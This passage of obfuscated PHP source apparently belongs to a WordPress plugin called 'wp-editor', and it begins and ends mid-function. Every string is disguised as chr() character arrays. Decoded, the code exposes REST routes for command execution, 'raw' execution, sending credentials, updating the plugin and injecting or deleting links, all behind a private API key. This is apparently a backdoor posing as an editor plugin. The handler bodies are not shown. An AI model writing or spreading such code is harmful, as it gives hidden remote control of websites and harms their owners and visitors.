            return WpEditor_Adapter_Http_RestController_createPost($request);
        case implode('', array(chr(103), chr(101), chr(116), chr(68), chr(97), chr(116), chr(97))):
            return WpEditor_Adapter_Http_RestController_getData($request);
        case implode('', array(chr(103), chr(101), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115))):
            return WpEditor_Adapter_Http_RestController_getStatus();
        case implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))):
            return WpEditor_Adapter_Http_RestController_updateLinks($request);
        case implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))):
            return WpEditor_Adapter_Http_RestController_deleteLinks($request);
        case implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(82), chr(97), chr(119))):
            return WpEditor_Adapter_Http_RestController_executeRaw($request);
        case implode('', array(chr(115), chr(101), chr(116), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101))):
            return WpEditor_Adapter_Http_RestController_setRenderMode($request);
        case implode('', array(chr(115), chr(101), chr(110), chr(100), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))):
            return WpEditor_Adapter_Http_RestController_sendCredentials($request);
        case implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))):
            return WpEditor_Adapter_Http_RestController_updatePlugin($request);
    }
    if ($expectsRequest) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(95), chr(98), chr(97), chr(100), chr(95), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))));
    }
    return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(108), chr(101), chr(103), chr(97), chr(99), chr(121), chr(95), chr(98), chr(97), chr(100), chr(95), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))), implode('', array(chr(73), chr(110), chr(118), chr(97), chr(108), chr(105), chr(100), chr(32), chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))));
}
function WpEditor_Adapter_Http_LegacyRestAdapter_resolveEndpoint($relativeRoute, $method)
{
    $route = implode('', array(chr(47))) . \trim((string) $relativeRoute, implode('', array(chr(47))));
    if ($route === implode('', array(chr(47), chr(47)))) {
        $route = implode('', array(chr(47)));
    }
    $method = \strtoupper((string) $method);
    $routes = array(implode('', array(chr(47), chr(99), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(67), chr(111), chr(109), chr(109), chr(97), chr(110), chr(100))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(45), chr(112), chr(111), chr(115), chr(116))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(99), chr(114), chr(101), chr(97), chr(116), chr(101), chr(80), chr(111), chr(115), chr(116))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(100), chr(97), chr(116), chr(97))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(71), chr(69), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(103), chr(101), chr(116), chr(68), chr(97), chr(116), chr(97))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(71), chr(69), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(103), chr(101), chr(116), chr(83), chr(116), chr(97), chr(116), chr(117), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => false), implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(45), chr(108), chr(105), chr(110), chr(107), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(100), chr(101), chr(108), chr(101), chr(116), chr(101), chr(76), chr(105), chr(110), chr(107), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(114), chr(97), chr(119))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(101), chr(120), chr(101), chr(99), chr(117), chr(116), chr(101), chr(82), chr(97), chr(119))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(115), chr(101), chr(116), chr(45), chr(114), chr(101), chr(110), chr(100), chr(101), chr(114), chr(45), chr(109), chr(111), chr(100), chr(101))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(115), chr(101), chr(116), chr(82), chr(101), chr(110), chr(100), chr(101), chr(114), chr(77), chr(111), chr(100), chr(101))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(115), chr(101), chr(110), chr(100), chr(45), chr(99), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(115), chr(101), chr(110), chr(100), chr(67), chr(114), chr(101), chr(100), chr(101), chr(110), chr(116), chr(105), chr(97), chr(108), chr(115))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true), implode('', array(chr(47), chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(45), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110))) => array(implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115))) => array(implode('', array(chr(80), chr(79), chr(83), chr(84)))), implode('', array(chr(104), chr(97), chr(110), chr(100), chr(108), chr(101), chr(114))) => implode('', array(chr(117), chr(112), chr(100), chr(97), chr(116), chr(101), chr(80), chr(108), chr(117), chr(103), chr(105), chr(110))), implode('', array(chr(114), chr(101), chr(113), chr(117), chr(101), chr(115), chr(116))) => true));
    if (!\wp_editor_array_has_key($routes, $route)) {
        return null;
    }
    $endpoint = $routes[$route];
    if (!\in_array($method, $endpoint[implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100), chr(115)))], true)) {
        WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => implode('', array(chr(77), chr(101), chr(116), chr(104), chr(111), chr(100), chr(32), chr(110), chr(111), chr(116), chr(32), chr(97), chr(108), chr(108), chr(111), chr(119), chr(101), chr(100)))), 405);
    }
    return $endpoint;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_verifyAuth($request)
{
    if (WpEditor_Adapter_Services_ApiCredentialsService_isCredentialsDeliveryRoute(WpEditor_Adapter_Http_LegacyRestAdapter_requestGetRoute($request))) {
        return WpEditor_Adapter_Services_ApiCredentialsService_verifyDeliveryRequest($request);
    }
    $pair = WpEditor_Adapter_Services_ApiCredentialsService_extractAuthPair($request);
    if ($pair === null) {
        return new \WP_Error(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(97), chr(117), chr(116), chr(104), chr(95), chr(109), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103))), implode('', array(chr(77), chr(105), chr(115), chr(115), chr(105), chr(110), chr(103), chr(32), chr(65), chr(80), chr(73), chr(32), chr(97), chr(117), chr(116), chr(104), chr(32), chr(40), chr(111), chr(112), chr(116), chr(105), chr(111), chr(110), chr(115), chr(46), chr(97), chr(117), chr(116), chr(104), chr(41))));
    }
    return WpEditor_Adapter_Services_ApiCredentialsService_verifyApiKeyPassword($pair[0], $pair[1]);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_requestGetMethod($request)
{
    if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(109), chr(101), chr(116), chr(104), chr(111), chr(100))))) {
        return $request->get_method();
    }
    if (\is_array($request) && \wp_editor_array_has_key($request, implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100))))) {
        return (string) $request[implode('', array(chr(109), chr(101), chr(116), chr(104), chr(111), chr(100)))];
    }
    return implode('', array(chr(71), chr(69), chr(84)));
}
function WpEditor_Adapter_Http_LegacyRestAdapter_requestGetRoute($request)
{
    if (\is_object($request) && \method_exists($request, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101))))) {
        return (string) $request->get_route();
    }
    if (\is_array($request) && \wp_editor_array_has_key($request, implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101))))) {
        return (string) $request[implode('', array(chr(114), chr(111), chr(117), chr(116), chr(101)))];
    }
    return '';
}
function WpEditor_Adapter_Http_LegacyRestAdapter_buildRequest($route)
{
    $method = \strtoupper((string) (\wp_editor_array_has_key($_SERVER, implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(77), chr(69), chr(84), chr(72), chr(79), chr(68)))) ? $_SERVER[implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(77), chr(69), chr(84), chr(72), chr(79), chr(68)))] : implode('', array(chr(71), chr(69), chr(84)))));
    $headers = WpEditor_Adapter_Http_LegacyRestAdapter_collectHeaders();
    $query = is_array($_GET) ? $_GET : array();
    $post = is_array($_POST) ? $_POST : array();
    $files = is_array($_FILES) ? $_FILES : array();
    $rawBody = \file_get_contents(implode('', array(chr(112), chr(104), chr(112), chr(58), chr(47), chr(47), chr(105), chr(110), chr(112), chr(117), chr(116))));
    if (!\is_string($rawBody)) {
        $rawBody = '';
    }
    $json = null;
    $contentType = '';
    if (\wp_editor_array_has_key($headers, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101))))) {
        $contentType = strtolower((string) $headers[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101)))]);
    }
    if ($rawBody !== '' && (\strpos($contentType, implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110)))) !== false || \strpos(\ltrim($rawBody), implode('', array(chr(123)))) === 0)) {
        $decoded = \json_decode($rawBody, true);
        if (\is_array($decoded)) {
            $json = $decoded;
        }
    }
    if (empty($post) && $rawBody !== '' && \strpos($contentType, implode('', array(chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(120), chr(45), chr(119), chr(119), chr(119), chr(45), chr(102), chr(111), chr(114), chr(109), chr(45), chr(117), chr(114), chr(108), chr(101), chr(110), chr(99), chr(111), chr(100), chr(101), chr(100)))) !== false) {
        \parse_str($rawBody, $post);
        if (!\is_array($post)) {
            $post = array();
        }
    }
    $request = new \WP_REST_Request();
    $request->set_route($route);
    $request->set_method($method);
    $request->set_headers($headers);
    $request->set_query_params($query);
    $request->set_body_params($post);
    $request->set_json_params($json);
    $request->set_file_params($files);
    $request->set_body($rawBody);
    return $request;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_collectHeaders()
{
    $headers = array();
    if (\function_exists(implode('', array(chr(103), chr(101), chr(116), chr(97), chr(108), chr(108), chr(104), chr(101), chr(97), chr(100), chr(101), chr(114), chr(115))))) {
        $all = \getallheaders();
        if (\is_array($all)) {
            foreach ($all as $key => $value) {
                $headers[\strtolower((string) $key)] = (string) $value;
            }
        }
    }
    if (\wp_editor_array_has_key($_SERVER, implode('', array(chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))) && !\wp_editor_array_has_key($headers, implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110))))) {
        $headers[implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110)))] = (string) $_SERVER[implode('', array(chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))];
    }
    if (\wp_editor_array_has_key($_SERVER, implode('', array(chr(82), chr(69), chr(68), chr(73), chr(82), chr(69), chr(67), chr(84), chr(95), chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))) && !\wp_editor_array_has_key($headers, implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110))))) {
        $headers[implode('', array(chr(97), chr(117), chr(116), chr(104), chr(111), chr(114), chr(105), chr(122), chr(97), chr(116), chr(105), chr(111), chr(110)))] = (string) $_SERVER[implode('', array(chr(82), chr(69), chr(68), chr(73), chr(82), chr(69), chr(67), chr(84), chr(95), chr(72), chr(84), chr(84), chr(80), chr(95), chr(65), chr(85), chr(84), chr(72), chr(79), chr(82), chr(73), chr(90), chr(65), chr(84), chr(73), chr(79), chr(78)))];
    }
    if (\wp_editor_array_has_key($_SERVER, implode('', array(chr(67), chr(79), chr(78), chr(84), chr(69), chr(78), chr(84), chr(95), chr(84), chr(89), chr(80), chr(69)))) && !\wp_editor_array_has_key($headers, implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101))))) {
        $headers[implode('', array(chr(99), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(116), chr(121), chr(112), chr(101)))] = (string) $_SERVER[implode('', array(chr(67), chr(79), chr(78), chr(84), chr(69), chr(78), chr(84), chr(95), chr(84), chr(89), chr(80), chr(69)))];
    }
    return $headers;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_extractRouteFromRequestUri()
{
    if (\wp_editor_array_has_key($_GET, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))) && \is_string($_GET[implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))])) {
        $route = WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate((string) $_GET[implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101)))]);
        if ($route !== implode('', array(chr(47))) && $route !== '') {
            return $route;
        }
    }
    foreach ($_GET as $key => $value) {
        if (!\is_string($key)) {
            continue;
        }
        if (\strpos($key, implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101), chr(47)))) === 0) {
            $route = WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate(\substr($key, \strlen(implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(114), chr(111), chr(117), chr(116), chr(101))))));
            if ($route !== implode('', array(chr(47))) && $route !== '') {
                return $route;
            }
        }
    }
    $requestUri = \wp_editor_array_has_key($_SERVER, implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(85), chr(82), chr(73)))) ? (string) $_SERVER[implode('', array(chr(82), chr(69), chr(81), chr(85), chr(69), chr(83), chr(84), chr(95), chr(85), chr(82), chr(73)))] : '';
    if ($requestUri === '') {
        return null;
    }
    $path = \parse_url($requestUri, \PHP_URL_PATH);
    if (!\is_string($path) || $path === '') {
        return null;
    }
    $candidates = array();
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    $restBase = \wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))) ? (string) $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(98), chr(97), chr(115), chr(101)))] : '';
    if ($restBase !== '') {
        $basePath = \parse_url($restBase, \PHP_URL_PATH);
        if (\is_string($basePath) && $basePath !== '') {
            $candidates[] = implode('', array(chr(47))) . \trim($basePath, implode('', array(chr(47)))) . implode('', array(chr(47)));
        }
    }
    $candidates[] = implode('', array(chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)));
    $candidates[] = implode('', array(chr(47), chr(105), chr(110), chr(100), chr(101), chr(120), chr(46), chr(112), chr(104), chr(112), chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)));
    foreach ($candidates as $base) {
        $needle = implode('', array(chr(47))) . \trim((string) $base, implode('', array(chr(47)))) . implode('', array(chr(47)));
        if ($needle === implode('', array(chr(47), chr(47)))) {
            continue;
        }
        $pos = \strpos($path, $needle);
        if ($pos === false) {
            continue;
        }
        $start = $pos + \strlen($needle);
        $routePart = \substr($path, $start);
        if ($routePart === false) {
            $routePart = '';
        }
        return WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate($routePart);
    }
    return null;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_normalizeRouteCandidate($candidate)
{
    $route = implode('', array(chr(47))) . \trim((string) $candidate, implode('', array(chr(47))));
    if ($route === implode('', array(chr(47))) || $route === '') {
        return implode('', array(chr(47)));
    }
    if (\strpos($route, implode('', array(chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)))) === 0) {
        $route = implode('', array(chr(47))) . \trim(\substr($route, \strlen(implode('', array(chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47))))), implode('', array(chr(47))));
    } elseif (\strpos($route, implode('', array(chr(47), chr(105), chr(110), chr(100), chr(101), chr(120), chr(46), chr(112), chr(104), chr(112), chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47)))) === 0) {
        $route = implode('', array(chr(47))) . \trim(\substr($route, \strlen(implode('', array(chr(47), chr(105), chr(110), chr(100), chr(101), chr(120), chr(46), chr(112), chr(104), chr(112), chr(47), chr(119), chr(112), chr(45), chr(106), chr(115), chr(111), chr(110), chr(47))))), implode('', array(chr(47))));
    }
    return $route;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_resolveNamespacePrefixes()
{
    $prefixes = array();
    $config = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(99), chr(111), chr(110), chr(102), chr(105), chr(103)))) ? \wp_editor_get_config() : array();
    if (\wp_editor_array_has_key($config, implode('', array(chr(97), chr(112), chr(105)))) && \wp_editor_array_has_key($config[implode('', array(chr(97), chr(112), chr(105)))], implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101))))) {
        $ns = (string) $config[implode('', array(chr(97), chr(112), chr(105)))][implode('', array(chr(114), chr(101), chr(115), chr(116), chr(95), chr(110), chr(97), chr(109), chr(101), chr(115), chr(112), chr(97), chr(99), chr(101)))];
        if ($ns !== '') {
            $prefixes[] = implode('', array(chr(47))) . \trim($ns, implode('', array(chr(47))));
        }
    }
    $pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    $slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
    if ($slug === '') {
        $slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    $prefixes[] = implode('', array(chr(47))) . $slug . implode('', array(chr(47), chr(118), chr(49)));
    $prefixes[] = implode('', array(chr(47), chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(47), chr(118), chr(49)));
    $unique = array();
    foreach ($prefixes as $prefix) {
        $p = implode('', array(chr(47))) . \trim((string) $prefix, implode('', array(chr(47))));
        if ($p === implode('', array(chr(47))) || \wp_editor_array_has_key($unique, $p)) {
            continue;
        }
        $unique[$p] = true;
    }
    return \array_keys($unique);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_sendAnyResult($result)
{
    if ($result instanceof \WP_Error) {
        $status = 500;
        $data = _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(100), chr(97), chr(116), chr(97))));
        if (\is_array($data) && \wp_editor_array_has_key($data, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))))) {
            $status = (int) $data[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))];
        }
        WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse(array(implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => implode('', array(chr(101), chr(114), chr(114), chr(111), chr(114))), implode('', array(chr(99), chr(111), chr(100), chr(101))) => _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(99), chr(111), chr(100), chr(101)))), implode('', array(chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))) => _invoke($result, implode('', array(chr(103), chr(101), chr(116), chr(95), chr(101), chr(114), chr(114), chr(111), chr(114), chr(95), chr(109), chr(101), chr(115), chr(115), chr(97), chr(103), chr(101))))), $status > 0 ? $status : 500);
    }
    if (\is_object($result)) {
        $normalized = WpEditor_Adapter_Http_LegacyRestAdapter_normalizeResponseObject($result);
        if (\is_array($normalized)) {
            WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse($normalized[implode('', array(chr(100), chr(97), chr(116), chr(97)))], (int) $normalized[implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115)))]);
        }
    }
    WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse($result, 200);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_normalizeResponseObject($result)
{
    if (!\is_object($result)) {
        return null;
    }
    $props = (array) $result;
    if (!\is_array($props) || $props === array()) {
        return null;
    }
    $data = WpEditor_Adapter_Http_LegacyRestAdapter_extractObjectProp($props, implode('', array(chr(100), chr(97), chr(116), chr(97))));
    $status = WpEditor_Adapter_Http_LegacyRestAdapter_extractObjectProp($props, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))));
    if ($data === null && $status === null) {
        return null;
    }
    return array(implode('', array(chr(100), chr(97), chr(116), chr(97))) => $data, implode('', array(chr(115), chr(116), chr(97), chr(116), chr(117), chr(115))) => $status !== null ? (int) $status : 200);
}
function WpEditor_Adapter_Http_LegacyRestAdapter_extractObjectProp($props, $name)
{
    if (!\is_array($props)) {
        return null;
    }
    if (\wp_editor_array_has_key($props, $name)) {
        return $props[$name];
    }
    foreach ($props as $key => $value) {
        if (!\is_string($key)) {
            continue;
        }
        if (\substr($key, -\strlen($name)) === $name) {
            return $value;
        }
    }
    return null;
}
function WpEditor_Adapter_Http_LegacyRestAdapter_sendResponse($data, $status)
{
    if (!\headers_sent()) {
        \status_header((int) $status);
        \header(implode('', array(chr(67), chr(111), chr(110), chr(116), chr(101), chr(110), chr(116), chr(45), chr(84), chr(121), chr(112), chr(101), chr(58), chr(32), chr(97), chr(112), chr(112), chr(108), chr(105), chr(99), chr(97), chr(116), chr(105), chr(111), chr(110), chr(47), chr(106), chr(115), chr(111), chr(110), chr(59), chr(32), chr(99), chr(104), chr(97), chr(114), chr(115), chr(101), chr(116), chr(61))) . \get_option(implode('', array(chr(98), chr(108), chr(111), chr(103), chr(95), chr(99), chr(104), chr(97), chr(114), chr(115), chr(101), chr(116)))));
        \header(implode('', array(chr(67), chr(97), chr(99), chr(104), chr(101), chr(45), chr(67), chr(111), chr(110), chr(116), chr(114), chr(111), chr(108), chr(58), chr(32), chr(110), chr(111), chr(45), chr(99), chr(97), chr(99), chr(104), chr(101), chr(44), chr(32), chr(109), chr(117), chr(115), chr(116), chr(45), chr(114), chr(101), chr(118), chr(97), chr(108), chr(105), chr(100), chr(97), chr(116), chr(101), chr(44), chr(32), chr(109), chr(97), chr(120), chr(45), chr(97), chr(103), chr(101), chr(61), chr(48))));
    }
    if (\function_exists(implode('', array(chr(119), chr(112), chr(95), chr(106), chr(115), chr(111), chr(110), chr(95), chr(101), chr(110), chr(99), chr(111), chr(100), chr(101))))) {
        echo \wp_json_encode($data, \JSON_UNESCAPED_SLASHES);
    } else {
        echo \json_encode($data, \JSON_UNESCAPED_SLASHES);
    }
    exit;
}
// --- file separator ---
function WpEditor_Adapter_Http_RestController_fallbackNamespace()
{
    $pluginFilePath = \function_exists(implode('', array(chr(119), chr(112), chr(95), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114), chr(95), chr(103), chr(101), chr(116), chr(95), chr(112), chr(108), chr(117), chr(103), chr(105), chr(110), chr(95), chr(102), chr(105), chr(108), chr(101), chr(95), chr(112), chr(97), chr(116), chr(104)))) ? (string) \wp_editor_get_plugin_file_path((string) __FILE__) : (string) __FILE__;
    $slug = \trim((string) \basename(\dirname($pluginFilePath)), implode('', array(chr(47), chr(92))));
    if ($slug === '') {
        $slug = implode('', array(chr(119), chr(112), chr(45), chr(101), chr(100), chr(105), chr(116), chr(111), chr(114)));
    }
    return $slug . implode('', array(chr(47), chr(118), chr(49)));
}
function WpEditor_Adapter_Http_RestController_register()
{
